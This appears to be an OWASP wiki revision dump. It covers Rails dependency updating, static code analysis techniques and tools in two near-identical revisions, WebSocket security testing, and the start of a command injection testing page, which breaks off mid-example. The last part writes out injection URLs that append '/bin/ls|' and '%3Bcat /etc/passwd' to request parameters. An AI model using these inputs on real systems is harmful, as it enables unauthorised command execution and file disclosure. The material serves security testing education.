config.stretches = Rails.env.test? ? 1 : 10<br />
<br />
= Updating Rails and Having a Process for Updating Dependencies = <br />
<br />
In early 2013, a number of critical vulnerabilities were identified in the Rails Framework. Organizations that had fallen behind current versions had more trouble updating and harder decisions along the way, including patching the source code for the framework itself.<br />
<br />
An additional concern with Ruby applications in general is that most libraries (gems) are not signed by their authors. It is literally impossible to build a Rails based project with libraries that come from trusted sources. One good practice might be to audit the gems you are using.<br />
<br />
In general, it is important to have a process for updating dependencies. An example process might define three mechanisms for triggering an update of response: <br />
* Every month/quarter dependencies in general are updated.<br />
* Every week important security vulnerabilities are taken into account and potentially trigger an update.<br />
* In EXCEPTIONAL conditions, emergency updates may need to be applied.<br />
<br />
= Tools =<br />
<br />
Use [http://brakemanscanner.org/ brakeman], an open source code analysis tool for Rails applications, to identify many potential issues. It will not necessarily produce comprehensive security findings, but it can find easily exposed issues. A great way to see potential issues in Rails is to review the brakeman documentation of warning types.<br />
<br />
There are emerging tools that can be used to track security issues in dependency sets, like https://appcanary.com/ and https://gemnasium.com/.<br />
<br />
Another area of tooling is the security testing tool [http://gauntlt.org Gauntlt] which is built on cucumber and uses gherkin syntax to define attack files.<br />
<br />
Launched in May 2013 and very similiar to brakeman scanner, the [http://rubygems.org/gems/codesake-dawn codesake-dawn] rubygem is a static analyzer for security issues that work with Rails, Sinatra and Padrino web applications. Version 0.60 has more than 30 ruby specific cve security checks and future releases custom checks against Cross Site Scripting and SQL Injections will be added<br />
<br />
= Authors and Primary Editors = <br />
Matt Konda - mkonda [at] jemurai.com<br/><br />
Neil Matatall neil [at] matatall.com<br/><br />
Ken Johnson cktricky [at] gmail.com<br/><br />
Justin Collins justin [at] presidentbeef.com<br/><br />
Jon Rose - jrose400 [at] gmail.com<br/><br />
Lance Vaughn - lance [at] cabforward.com<br/><br />
Jon Claudius - jonathan.claudius [at] gmail.com<br/><br />
Jim Manico jim [at] owasp.org<br/><br />
Aaron Bedra aaron [at] aaronbedra.com<br/><br />
Egor Homakov homakov [at] gmail.com<br/><br />
<br />
= Related Articles and References = <br />
<br />
* [http://guides.rubyonrails.org/security.html The Official Rails Security Guide]<br />
* [https://www.owasp.org/index.php/Category:OWASP_Ruby_on_Rails_Security_Guide_V2 OWASP Ruby on Rails Security Guide]<br />
* [http://code.google.com/p/ruby-security/wiki/Guide The Ruby Security Reviewers Guide]<br />
* [https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-security The Ruby on Rails Security Mailing List]<br />
* [http://blog.codeclimate.com/blog/2013/03/27/rails-insecure-defaults/ Rails Insecure Defaults]<br />
<br />
== Other Cheatsheets ==<br />
<br />
{{Cheatsheet_Navigation_Body}}<br />
<br />
|}<br />
<br />
[[Category:Cheatsheets]]</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=Static_Code_Analysis&diff=226354Static Code Analysis2017-02-14T18:11:03Z<p>Ryan Dewhurst: Add RIPS</p>
<hr />
<div>Every '''[[Control]]''' should follow this template.<br />
<br />
{{Template:Control}}<br />
<br><br />
[[Category:OWASP ASDR Project]]<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
==Description==<br />
<br />
Static Code Analysis (also known as Source Code Analysis) is usually performed as part of a Code Review (also known as white-box testing) and is carried out at the Implementation phase of a Security Development Lifecycle (SDL). Static Code Analysis commonly refers to the running of Static Code Analysis tools that attempt to highlight possible vulnerabilities within 'static' (non-running) source code by using techniques such as Taint Analysis and Data Flow Analysis.<br />
<br />
Ideally, such tools would automatically find security flaws with a high degree of confidence that what is found is indeed a flaw. However, this is beyond the state of the art for many types of application security flaws. Thus, such tools frequently serve as aids for an analyst to help them zero in on security relevant portions of code so they can find flaws more efficiently, rather than a tool that simply finds flaws automatically.<br />
<br />
Some tools are starting to move into the Integrated Development Environment (IDE). For the types of problems that can be detected during the software development phase itself, this is a powerful phase within the development lifecycle to employ such tools, as it provides immediate feedback to the developer on issues they might be introducing into the code during code development itself. This immediate feedback is very useful as compared to finding vulnerabilities much later in the development cycle.<br />
<br />
The UK Defense Standard 00-55 requires that Static Code Analysis be used on all 'safety related software in defense equipment'. [0]<br />
<br />
==Techniques==<br />
There are various techniques to analyze static source code for potential vulnerabilities that maybe combined into one solution. These techniques are often derived from compiler technologies.<br />
<br />
===Data Flow Analysis===<br />
Data flow analysis is used to collect run-time (dynamic) information about data in software while it is in a static state (Wögerer, 2005).<br />
<br />
There are three common terms used in data flow analysis, basic block (the code), Control Flow Analysis (the flow of data) and Control Flow Path (the path the data takes):<br />
<br />
Basic block: A sequence of consecutive instructions where control enters at the beginning of a block, control leaves at the end of a block and the block cannot halt or branch out except at its end (Wögerer, 2005).<br />
<br />
Example PHP basic block:<br />
<br />
<pre><br />
1. $a = 0;<br />
2. $b = 1;<br />
3. <br />
4. if ($a == $b) <br />
5. { # start of block<br />
6. echo “a and b are the same”;<br />
7. } # end of block <br />
8. else <br />
9. { # start of block <br />
10. echo “a and b are different”;<br />
11.} # end of block<br />
</pre><br />
<br />
=== Control Flow Graph (CFG) ===<br />
An abstract graph representation of software by use of nodes that represent basic blocks. A node in a graph represents a block; directed edges are used to represent jumps (paths) from one block to another. If a node only has an exit edge, this is known as an ‘entry’ block, if a node only has a entry edge, this is know as an ‘exit’ block (Wögerer, 2005).<br />
<br />
Example Control Flow Graph; ‘node 1’ represents the entry block and ‘node 6’ represents the exit block.<br />
<br />
[[File:Control_flow_graph.png|400x200px]]<br />
<br />
===Taint Analysis===<br />
Taint Analysis attempts to identify variables that have been 'tainted' with user controllable input and traces them to possible vulnerable functions also known as a 'sink'. If the tainted variable gets passed to a sink without first being sanitized it is flagged as a vulnerability.<br />
<br />
Some programming languages such as Perl and Ruby have Taint Checking built into them and enabled in certain situations such as accepting data via CGI.<br />
<br />
===Lexical Analysis===<br />
Lexical Analysis converts source code syntax into ‘tokens’ of information in an attempt to abstract the source code and make it easier to manipulate (Sotirov, 2005).<br />
<br />
Pre tokenised PHP source code:<br />
<br />
<pre><br />
&lt;?php $name = "Ryan"; ?&gt;<br />
</pre><br />
<br />
Post tokenised PHP source code:<br />
<br />
<pre><br />
T_OPEN_TAG<br />
T_VARIABLE<br />
=<br />
T_CONSTANT_ENCAPSED_STRING<br />
;<br />
T_CLOSE_TAG<br />
</pre><br />
<br />
==Strengths and Weaknesses==<br />
<br />
=== Strengths ===<br />
* Scales Well (Can be run on lots of software, and can be repeatedly (like in nightly builds))<br />
* For things that such tools can automatically find with high confidence, such as buffer overflows, SQL Injection Flaws, etc. they are great.<br />
<br />
=== Weaknesses ===<br />
* Many types of security vulnerabilities are very difficult to find automatically, such as authentication problems, access control issues, insecure use of cryptography, etc. The current state of the art only allows such tools to automatically find a relatively small percentage of application security flaws. Tools of this type are getting better, however.<br />
* High numbers of false positives.<br />
* Frequently can't find configuration issues, since they are not represented in the code.<br />
* Difficult to 'prove' that an identified security issue is an actual vulnerability.<br />
* Many of these tools have difficulty analyzing code that can't be compiled. Analysts frequently can't compile code because they don't have the right libraries, all the compilation instructions, all the code, etc.<br />
<br />
==Limitations==<br />
<br />
===False Positives===<br />
A static code analysis tool will often produce false positive results where the tool reports a possible vulnerability that in fact is not. This often occurs because the tool cannot be sure of the integrity and security of data as it flows through the application from input to output.<br />
<br />
False positive results might be reported when analysing an application that interacts with closed source components or external systems because without the source code it is impossible to trace the flow of data in the external system and hence ensure the integrity and security of the data.<br />
<br />
===False Negatives===<br />
The use of static code analysis tools can also result in false negative results where vulnerabilities result but the tool does not report them. This might occur if a new vulnerability is discovered in an external component or if the analysis tool has no knowledge of the runtime environment and whether it is configured securely.<br />
<br />
==Important Selection Criteria==<br />
<br />
* Requirement: Must support your language, but not usually a key factor once it does.<br />
* Types of Vulnerabilities it can detect (The OWASP Top Ten?) (more?)<br />
* Does it require a fully buildable set of source?<br />
* Can it run against binaries instead of source?<br />
* Can it be integrated into the developer's IDE?<br />
* License cost for the tool. (Some are sold per user, per org, per app, per line of code analyzed. Consulting licenses are frequently different than end user licenses.)<br />
* Does it support Object-oriented programming (OOP)?<br />
<br />
==Examples==<br />
<br />
===RIPS PHP Static Code Analysis Tool===<br />
[[File:Rips.jpg|400px|thum|]]<br />
<br />
===OWASP LAPSE+ Static Code Analysis Tool===<br />
[[File:LapsePlusScreenshot.png|400px|thum|]]<br />
<br />
== Tools ==<br />
<br />
===OWASP Tools===<br />
* [https://www.owasp.org/index.php/Category:OWASP_Code_Crawler OWASP Code Crawler] (.NET & Java)<br />
* [https://www.owasp.org/index.php/Category:OWASP_Orizon_Project OWASP Orizon Project] (Java,PHP,C & JSP)<br />
* [[OWASP_LAPSE_Project | OWASP LAPSE Project]] (Java)<br />
* [[OWASP O2 Platform]]<br />
* [[OWASP WAP-Web Application Protection]] (PHP)<br />
<br />
=== Open Source/Free ===<br />
<br />
* [http://sourceforge.net/projects/agnitiotool/ Agnitio] (Objective-C, C#, Java & Android)<br />
* [http://brakemanscanner.org/ Brakeman] (Rails)<br />
* [http://www.devbug.co.uk DevBug] (PHP)<br />
* [http://findbugs.sourceforge.net/ FindBugs] (Java)<br />
* [http://www.dwheeler.com/flawfinder/ FlawFinder] (C/C++)<br />
* [http://msdn.microsoft.com/en-us/library/bb429476(v=vs.80).aspx Microsoft FxCop] (.NET)<br />
* [http://www.stachliu.com/resources/tools/google-hacking-diggity-project/attack-tools/ Google CodeSearchDiggity] (Multiple)<br />
* [http://pmd.sourceforge.net/ PMD] (Java)<br />
* [http://msdn.microsoft.com/en-us/library/ms933794.aspx Microsoft PreFast] (C/C++)<br />
* [http://sonarqube.com SonarQube] (20+ languages including Java, C#, and JavaScript)<br />
* [http://www.splint.org Splint] (C)<br />
* [http://sourceforge.net/projects/visualcodegrepp/ VisualCodeGrepper] (C/C++, C#, VB, PHP, Java & PL/SQL)<br />
* [http://rips-scanner.sourceforge.net/ RIPS] (PHP)<br />
<br />
=== Commercial ===<br />
<br />
* [https://www.fortify.com/ Fortify] (OWASP Member)<br />
* [https://www.veracode.com/ Veracode] (OWASP Member)<br />
* [http://www.grammatech.com/ GrammaTech]<br />
* [http://www.parasoft.com/jsp/home.jsp ParaSoft]<br />
* [http://www.armorize.com/codesecure/ Armorize CodeSecure] (OWASP Member)<br />
* [http://www.checkmarx.com/ Checkmarx Static Code Analysis] (OWASP Member)<br />
* [http://www-01.ibm.com/software/rational/products/appscan/source/ Rational AppScan Source Edition]<br />
* [http://www.coverity.com/products/static-analysis.html Coverity]<br />
* [http://www.viva64.com/en/ PVS-Studio]<br />
* [http://www.klocwork.com/products/insight.asp Insight]<br />
* [http://www.mathworks.com/products/polyspace/ Polyspace Static Analysis]<br />
* [https://www.ripstech.com/ RIPS NextGen] (PHP)<br />
<br />
===Other Tool Lists===<br />
<br />
* [http://samate.nist.gov/index.php/Source_Code_Security_Analyzers.html NIST - Source Code Security Analyzers]<br />
* [http://en.wikipedia.org/wiki/List_of_tools_for_static_code_analysis Wikipedia - List of tools for static code analysis]<br />
<br />
==References==<br />
<br />
[0] Ministry of Defence (MoD). (1997) ''SAFETY RELATED SOFTWARE IN DEFENSE EQUIPMENT'' [Online]. Available at: http://www.software-supportability.org/Docs/00-55_Part_2.pdf (Accessed: 5 January 2012).<br />
<br />
== Further Reading ==<br />
<br />
* [https://www.owasp.org/images/2/2e/OWASP_Code_Review_Guide-V1_1.pdf OWASP Code Review Guide v1.1]<br />
* http://www.crosstalkonline.org/storage/issue-archives/2003/200311/200311-German.pdf<br />
* http://www.ida.liu.se/~TDDC90/papers/industrial95.pdf<br />
* http://www.php-security.org/downloads/rips.pdf<br />
* http://www.seclab.tuwien.ac.at/papers/pixy.pdf<br />
<br />
[[Category:FIXME|<br />
<br />
<br />
In addition, one should classify control based on the following subcategories: Ex:<nowiki>[[Category:Error Handling Control]]</nowiki><br />
<br />
Availability Control<br />
<br />
Authorization Control<br />
<br />
Authentication Control<br />
<br />
Concurrency Control<br />
<br />
Configuration Control<br />
<br />
Cryptographic Control<br />
<br />
Encoding Control<br />
<br />
Error Handling Control<br />
<br />
Input Validation Control<br />
<br />
Logging and Auditing Control<br />
<br />
Session Management Control<br />
]]<br />
__FORCETOC__<br />
<br />
[[Category:Control]]</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=Static_Code_Analysis&diff=226353Static Code Analysis2017-02-14T18:07:58Z<p>Ryan Dewhurst: remove dead link</p>
<hr />
<div>Every '''[[Control]]''' should follow this template.<br />
<br />
{{Template:Control}}<br />
<br><br />
[[Category:OWASP ASDR Project]]<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
==Description==<br />
<br />
Static Code Analysis (also known as Source Code Analysis) is usually performed as part of a Code Review (also known as white-box testing) and is carried out at the Implementation phase of a Security Development Lifecycle (SDL). Static Code Analysis commonly refers to the running of Static Code Analysis tools that attempt to highlight possible vulnerabilities within 'static' (non-running) source code by using techniques such as Taint Analysis and Data Flow Analysis.<br />
<br />
Ideally, such tools would automatically find security flaws with a high degree of confidence that what is found is indeed a flaw. However, this is beyond the state of the art for many types of application security flaws. Thus, such tools frequently serve as aids for an analyst to help them zero in on security relevant portions of code so they can find flaws more efficiently, rather than a tool that simply finds flaws automatically.<br />
<br />
Some tools are starting to move into the Integrated Development Environment (IDE). For the types of problems that can be detected during the software development phase itself, this is a powerful phase within the development lifecycle to employ such tools, as it provides immediate feedback to the developer on issues they might be introducing into the code during code development itself. This immediate feedback is very useful as compared to finding vulnerabilities much later in the development cycle.<br />
<br />
The UK Defense Standard 00-55 requires that Static Code Analysis be used on all 'safety related software in defense equipment'. [0]<br />
<br />
==Techniques==<br />
There are various techniques to analyze static source code for potential vulnerabilities that maybe combined into one solution. These techniques are often derived from compiler technologies.<br />
<br />
===Data Flow Analysis===<br />
Data flow analysis is used to collect run-time (dynamic) information about data in software while it is in a static state (Wögerer, 2005).<br />
<br />
There are three common terms used in data flow analysis, basic block (the code), Control Flow Analysis (the flow of data) and Control Flow Path (the path the data takes):<br />
<br />
Basic block: A sequence of consecutive instructions where control enters at the beginning of a block, control leaves at the end of a block and the block cannot halt or branch out except at its end (Wögerer, 2005).<br />
<br />
Example PHP basic block:<br />
<br />
<pre><br />
1. $a = 0;<br />
2. $b = 1;<br />
3. <br />
4. if ($a == $b) <br />
5. { # start of block<br />
6. echo “a and b are the same”;<br />
7. } # end of block <br />
8. else <br />
9. { # start of block <br />
10. echo “a and b are different”;<br />
11.} # end of block<br />
</pre><br />
<br />
=== Control Flow Graph (CFG) ===<br />
An abstract graph representation of software by use of nodes that represent basic blocks. A node in a graph represents a block; directed edges are used to represent jumps (paths) from one block to another. If a node only has an exit edge, this is known as an ‘entry’ block, if a node only has a entry edge, this is know as an ‘exit’ block (Wögerer, 2005).<br />
<br />
Example Control Flow Graph; ‘node 1’ represents the entry block and ‘node 6’ represents the exit block.<br />
<br />
[[File:Control_flow_graph.png|400x200px]]<br />
<br />
===Taint Analysis===<br />
Taint Analysis attempts to identify variables that have been 'tainted' with user controllable input and traces them to possible vulnerable functions also known as a 'sink'. If the tainted variable gets passed to a sink without first being sanitized it is flagged as a vulnerability.<br />
<br />
Some programming languages such as Perl and Ruby have Taint Checking built into them and enabled in certain situations such as accepting data via CGI.<br />
<br />
===Lexical Analysis===<br />
Lexical Analysis converts source code syntax into ‘tokens’ of information in an attempt to abstract the source code and make it easier to manipulate (Sotirov, 2005).<br />
<br />
Pre tokenised PHP source code:<br />
<br />
<pre><br />
&lt;?php $name = "Ryan"; ?&gt;<br />
</pre><br />
<br />
Post tokenised PHP source code:<br />
<br />
<pre><br />
T_OPEN_TAG<br />
T_VARIABLE<br />
=<br />
T_CONSTANT_ENCAPSED_STRING<br />
;<br />
T_CLOSE_TAG<br />
</pre><br />
<br />
==Strengths and Weaknesses==<br />
<br />
=== Strengths ===<br />
* Scales Well (Can be run on lots of software, and can be repeatedly (like in nightly builds))<br />
* For things that such tools can automatically find with high confidence, such as buffer overflows, SQL Injection Flaws, etc. they are great.<br />
<br />
=== Weaknesses ===<br />
* Many types of security vulnerabilities are very difficult to find automatically, such as authentication problems, access control issues, insecure use of cryptography, etc. The current state of the art only allows such tools to automatically find a relatively small percentage of application security flaws. Tools of this type are getting better, however.<br />
* High numbers of false positives.<br />
* Frequently can't find configuration issues, since they are not represented in the code.<br />
* Difficult to 'prove' that an identified security issue is an actual vulnerability.<br />
* Many of these tools have difficulty analyzing code that can't be compiled. Analysts frequently can't compile code because they don't have the right libraries, all the compilation instructions, all the code, etc.<br />
<br />
==Limitations==<br />
<br />
===False Positives===<br />
A static code analysis tool will often produce false positive results where the tool reports a possible vulnerability that in fact is not. This often occurs because the tool cannot be sure of the integrity and security of data as it flows through the application from input to output.<br />
<br />
False positive results might be reported when analysing an application that interacts with closed source components or external systems because without the source code it is impossible to trace the flow of data in the external system and hence ensure the integrity and security of the data.<br />
<br />
===False Negatives===<br />
The use of static code analysis tools can also result in false negative results where vulnerabilities result but the tool does not report them. This might occur if a new vulnerability is discovered in an external component or if the analysis tool has no knowledge of the runtime environment and whether it is configured securely.<br />
<br />
==Important Selection Criteria==<br />
<br />
* Requirement: Must support your language, but not usually a key factor once it does.<br />
* Types of Vulnerabilities it can detect (The OWASP Top Ten?) (more?)<br />
* Does it require a fully buildable set of source?<br />
* Can it run against binaries instead of source?<br />
* Can it be integrated into the developer's IDE?<br />
* License cost for the tool. (Some are sold per user, per org, per app, per line of code analyzed. Consulting licenses are frequently different than end user licenses.)<br />
* Does it support Object-oriented programming (OOP)?<br />
<br />
==Examples==<br />
<br />
===RIPS PHP Static Code Analysis Tool===<br />
[[File:Rips.jpg|400px|thum|]]<br />
<br />
===OWASP LAPSE+ Static Code Analysis Tool===<br />
[[File:LapsePlusScreenshot.png|400px|thum|]]<br />
<br />
== Tools ==<br />
<br />
===OWASP Tools===<br />
* [https://www.owasp.org/index.php/Category:OWASP_Code_Crawler OWASP Code Crawler] (.NET & Java)<br />
* [https://www.owasp.org/index.php/Category:OWASP_Orizon_Project OWASP Orizon Project] (Java,PHP,C & JSP)<br />
* [[OWASP_LAPSE_Project | OWASP LAPSE Project]] (Java)<br />
* [[OWASP O2 Platform]]<br />
* [[OWASP WAP-Web Application Protection]] (PHP)<br />
<br />
=== Open Source/Free ===<br />
<br />
* [http://sourceforge.net/projects/agnitiotool/ Agnitio] (Objective-C, C#, Java & Android)<br />
* [http://brakemanscanner.org/ Brakeman] (Rails)<br />
* [http://www.devbug.co.uk DevBug] (PHP)<br />
* [http://findbugs.sourceforge.net/ FindBugs] (Java)<br />
* [http://www.dwheeler.com/flawfinder/ FlawFinder] (C/C++)<br />
* [http://msdn.microsoft.com/en-us/library/bb429476(v=vs.80).aspx Microsoft FxCop] (.NET)<br />
* [http://www.stachliu.com/resources/tools/google-hacking-diggity-project/attack-tools/ Google CodeSearchDiggity] (Multiple)<br />
* [http://pmd.sourceforge.net/ PMD] (Java)<br />
* [http://msdn.microsoft.com/en-us/library/ms933794.aspx Microsoft PreFast] (C/C++)<br />
* [http://sonarqube.com SonarQube] (20+ languages including Java, C#, and JavaScript)<br />
* [http://www.splint.org Splint] (C)<br />
* [http://sourceforge.net/projects/visualcodegrepp/ VisualCodeGrepper] (C/C++, C#, VB, PHP, Java & PL/SQL)<br />
<br />
=== Commercial ===<br />
<br />
* [https://www.fortify.com/ Fortify] (OWASP Member)<br />
* [https://www.veracode.com/ Veracode] (OWASP Member)<br />
* [http://www.grammatech.com/ GrammaTech]<br />
* [http://www.parasoft.com/jsp/home.jsp ParaSoft]<br />
* [http://www.armorize.com/codesecure/ Armorize CodeSecure] (OWASP Member)<br />
* [http://www.checkmarx.com/ Checkmarx Static Code Analysis] (OWASP Member)<br />
* [http://www-01.ibm.com/software/rational/products/appscan/source/ Rational AppScan Source Edition]<br />
* [http://www.coverity.com/products/static-analysis.html Coverity]<br />
* [http://www.viva64.com/en/ PVS-Studio]<br />
* [http://www.klocwork.com/products/insight.asp Insight]<br />
* [http://www.mathworks.com/products/polyspace/ Polyspace Static Analysis]<br />
<br />
===Other Tool Lists===<br />
<br />
* [http://samate.nist.gov/index.php/Source_Code_Security_Analyzers.html NIST - Source Code Security Analyzers]<br />
* [http://en.wikipedia.org/wiki/List_of_tools_for_static_code_analysis Wikipedia - List of tools for static code analysis]<br />
<br />
==References==<br />
<br />
[0] Ministry of Defence (MoD). (1997) ''SAFETY RELATED SOFTWARE IN DEFENSE EQUIPMENT'' [Online]. Available at: http://www.software-supportability.org/Docs/00-55_Part_2.pdf (Accessed: 5 January 2012).<br />
<br />
== Further Reading ==<br />
<br />
* [https://www.owasp.org/images/2/2e/OWASP_Code_Review_Guide-V1_1.pdf OWASP Code Review Guide v1.1]<br />
* http://www.crosstalkonline.org/storage/issue-archives/2003/200311/200311-German.pdf<br />
* http://www.ida.liu.se/~TDDC90/papers/industrial95.pdf<br />
* http://www.php-security.org/downloads/rips.pdf<br />
* http://www.seclab.tuwien.ac.at/papers/pixy.pdf<br />
<br />
[[Category:FIXME|<br />
<br />
<br />
In addition, one should classify control based on the following subcategories: Ex:<nowiki>[[Category:Error Handling Control]]</nowiki><br />
<br />
Availability Control<br />
<br />
Authorization Control<br />
<br />
Authentication Control<br />
<br />
Concurrency Control<br />
<br />
Configuration Control<br />
<br />
Cryptographic Control<br />
<br />
Encoding Control<br />
<br />
Error Handling Control<br />
<br />
Input Validation Control<br />
<br />
Logging and Auditing Control<br />
<br />
Session Management Control<br />
]]<br />
__FORCETOC__<br />
<br />
[[Category:Control]]</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=Testing_WebSockets_(OTG-CLIENT-010)&diff=223629Testing WebSockets (OTG-CLIENT-010)2016-11-25T08:50:11Z<p>Ryan Dewhurst: Update websocket client link</p>
<hr />
<div>{{Template:OWASP Testing Guide v4}}<br />
<br />
<br />
== Summary ==<br />
<br />
Traditionally the HTTP protocol only allows one request/response per TCP connection. Asynchronous JavaScript and XML (AJAX) allows clients to send and receive data asynchronously (in the background without a page refresh) to the server, however, AJAX requires the client to initiate the requests and wait for the server responses (half-duplex). <br />
<br />
<br />
HTML5 WebSockets allow the client/server to create a 'full-duplex' (two-way) communication channels, allowing the client and server to truly communicate asynchronously. WebSockets conduct their initial 'upgrade' handshake over HTTP and from then on all communication is carried out over TCP channels by use of frames.<br />
<br />
<br />
=== Origin ===<br />
<br />
It is the server’s responsibility to verify the Origin header in the initial HTTP WebSocket handshake. If the server does not validate the origin header in the initial WebSocket handshake, the WebSocket server may accept connections from any origin. This could allow attackers to communicate with the WebSocket server cross-domain allowing for [[Top 10 2013-A8-Cross-Site Request Forgery (CSRF)]] type issues.<br />
<br />
<br />
=== Confidentiality and Integrity ===<br />
<br />
WebSockets can be used over unencrypted TCP or over encrypted TLS. To use unencrypted WebSockets the ''ws://'' URI scheme is used (default port 80), to use encrypted (TLS) WebSockets the ''wss://'' URI scheme is used (default port 443). Look out for [[Top 10 2013-A6-Sensitive Data Exposure]] type issues.<br />
<br />
<br />
=== Authentication ===<br />
<br />
WebSockets do not handle authentication, instead normal application authentication mechanisms apply, such as cookies, HTTP Authentication or TLS authentication. Look out for [[Top 10 2013-A2-Broken Authentication and Session Management]] type issues.<br />
<br />
<br />
=== Authorization ===<br />
<br />
WebSockets do not handle authorization, normal application authorization mechanisms apply. Look out for [[Top 10 2013-A4-Insecure Direct Object References]] and [[Top 10 2013-A7-Missing Function Level Access Control]] type issues.<br />
<br />
<br />
=== Input Sanitization ===<br />
<br />
As with any data originating from untrusted sources, the data should be properly sanitised and encoded. Look out for [[Top 10 2013-A1-Injection]] and [[Top 10 2013-A3-Cross-Site Scripting (XSS)]] type issues.<br />
<br />
<br />
== How to Test==<br />
=== Black Box testing ===<br />
<br />
1. Identify that the application is using WebSockets. <br />
*Inspect the client-side source code for the ''ws://'' or ''wss://'' URI scheme.<br />
*Use Google Chrome's Developer Tools to view the Network WebSocket communication.<br />
*Use [https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project OWASP Zed Attack Proxy] (ZAP)'s WebSocket tab.<br />
<br />
<br />
2. Origin.<br />
* Using a WebSocket client (one can be found in the Tools section below) attempt to connect to the remote WebSocket server. If a connection is established the server may not be checking the origin header of the WebSocket handshake.<br />
<br />
<br />
3. Confidentiality and Integrity.<br />
* Check that the WebSocket connection is using SSL to transport sensitive information (wss://).<br />
* Check the SSL Implementation for security issues (Valid Certificate, BEAST, CRIME, RC4, etc). Refer to the [https://www.owasp.org/index.php/Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001) Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)] section of this guide.<br />
<br />
<br />
4. Authentication.<br />
* WebSockets do not handle authentication, normal black-box authentication tests should be carried out. Refer to the [https://www.owasp.org/index.php/Testing_for_authentication Authentication Testing] sections of this guide.<br />
<br />
<br />
5. Authorization.<br />
* WebSockets do not handle authorization, normal black-box authorization tests should be carried out. Refer to the [https://www.owasp.org/index.php/Testing_for_Authorization Authorization Testing] sections of this guide.<br />
<br />
<br />
6. Input Sanitization.<br />
* Use [https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project OWASP Zed Attack Proxy] (ZAP)'s WebSocket tab to replay and fuzz WebSocket request and responses. Refer to the [https://www.owasp.org/index.php/Testing_for_Data_Validation Testing for Data Validation] sections of this guide.<br />
<br />
<br />
'''Example 1'''<br />
<br />
Once we have identified that the application is using WebSockets (as described above) we can use the [https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project OWASP Zed Attack Proxy (ZAP)] to intercept the WebSocket request and responses. ZAP can then be used to replay and fuzz the WebSocket request/responses.<br />
<br />
[[File:OWASP_ZAP_WebSockets.png|600px]]<br />
<br />
<br />
'''Example 2'''<br />
<br />
Using a WebSocket client (one can be found in the Tools section below) attempt to connect to the remote WebSocket server. If the connection is allowed the WebSocket server may not be checking the WebSocket handshake's origin header. Attempt to replay requests previously intercepted to verify that cross-domain WebSocket communication is possible.<br />
<br />
[[File:WebSocket_Client.png]]<br />
<br />
<br />
=== Gray Box testing ===<br />
Gray box testing is similar to black box testing. In gray box testing the pen-tester has partial knowledge of the application. The only difference here is that you may have API documentation for the application being tested which includes the expected WebSocket request and responses.<br />
<br />
==Tools==<br />
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project<br />
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.<br />
*'''WebSocket Client''' - https://github.com/ethicalhack3r/scripts/blob/master/WebSockets.html<br />
A WebSocket client that can be used to interact with a WebSocket server.<br />
*'''Google Chrome Simple WebSocket Client''' - https://chrome.google.com/webstore/detail/simple-websocket-client/pfdhoblngboilpfeibdedpjgfnlcodoo?hl=en<br />
Construct custom Web Socket requests and handle responses to directly test your Web Socket services.<br />
<br />
== References ==<br />
<br />
'''Whitepapers'''<br /><br />
*'''HTML5 Rocks''' - Introducing WebSockets: Bringing Sockets to the Web: http://www.html5rocks.com/en/tutorials/websockets/basics/<br />
*'''W3C''' - The WebSocket API: http://dev.w3.org/html5/websockets/<br />
*'''IETF''' - The WebSocket Protocol: https://tools.ietf.org/html/rfc6455<br />
*'''Christian Schneider''' - Cross-Site WebSocket Hijacking (CSWSH): http://www.christian-schneider.net/CrossSiteWebSocketHijacking.html<br />
*'''Jussi-Pekka Erkkilä''' - WebSocket Security Analysis: http://juerkkil.iki.fi/files/writings/websocket2012.pdf<br />
*'''Robert Koch'''- On WebSockets in Penetration Testing: http://www.ub.tuwien.ac.at/dipl/2013/AC07815487.pdf<br />
*'''DigiNinja''' - OWASP ZAP and Web Sockets: http://www.digininja.org/blog/zap_web_sockets.php</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=Testing_for_Command_Injection_(OTG-INPVAL-013)&diff=223144Testing for Command Injection (OTG-INPVAL-013)2016-11-08T14:46:53Z<p>Ryan Dewhurst: Add link to Commix tool</p>
<hr />
<div>{{Template:OWASP Testing Guide v4}}<br />
<br />
== Summary ==<br />
This article describes how to test an application for OS command injection. The tester will try to inject an OS command through an HTTP request to the application.<br />
<br />
<br />
OS command injection is a technique used via a web interface in order to execute OS commands on a web server. The user supplies operating system commands through a web interface in order to execute OS commands. Any web interface that is not properly sanitized is subject to this exploit. With the ability to execute OS commands, the user can upload malicious programs or even obtain passwords. OS command injection is preventable when security is emphasized during the design and development of applications.<br />
<br />
<br />
== How to Test ==<br />
When viewing a file in a web application, the file name is often shown in the URL. Perl allows piping data from a process into an open statement. The user can simply append the Pipe symbol “|” onto the end of the file name.<br />
<br />
<br />
Example URL before alteration:<br><br />
<br />
<nowiki>http://sensitive/cgi-bin/userData.pl?doc=user1.txt</nowiki><br><br />
<br />
<br />
Example URL modified:<br><br />
<br />
<nowiki>http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|</nowiki><br><br />
<br />
<br />
This will execute the command “/bin/ls”.<br><br />
<br />
<br />
Appending a semicolon to the end of a URL for a .PHP page followed by an operating system command, will execute the command. %3B is url encoded and decodes to semicolon<br />
<br><br />
<br />
Example:<br><br />
<nowiki>http://sensitive/something.php?dir=%3Bcat%20/etc/passwd</nowiki><br><br />
<br />
<br />
'''Example'''<br><br />
Consider the case of an application that contains a set of documents that you can browse from the Internet. If you fire up WebScarab, you can obtain a POST HTTP like the following:<br />
<br />
<pre><br />
POST http://www.example.com/public/doc HTTP/1.1<br />
